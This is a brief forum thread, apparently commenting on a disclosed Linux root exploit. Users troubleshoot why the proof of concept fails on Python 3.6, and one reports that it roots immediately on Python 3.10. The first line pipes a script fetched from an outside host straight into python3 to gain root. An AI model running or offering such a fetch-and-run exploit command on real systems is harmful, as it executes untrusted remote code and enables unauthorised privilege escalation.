curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'
Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".

What is your Python version? Splice was added in 3.10.

https://docs.python.org/3/library/os.html#os.splice

Edited with an update.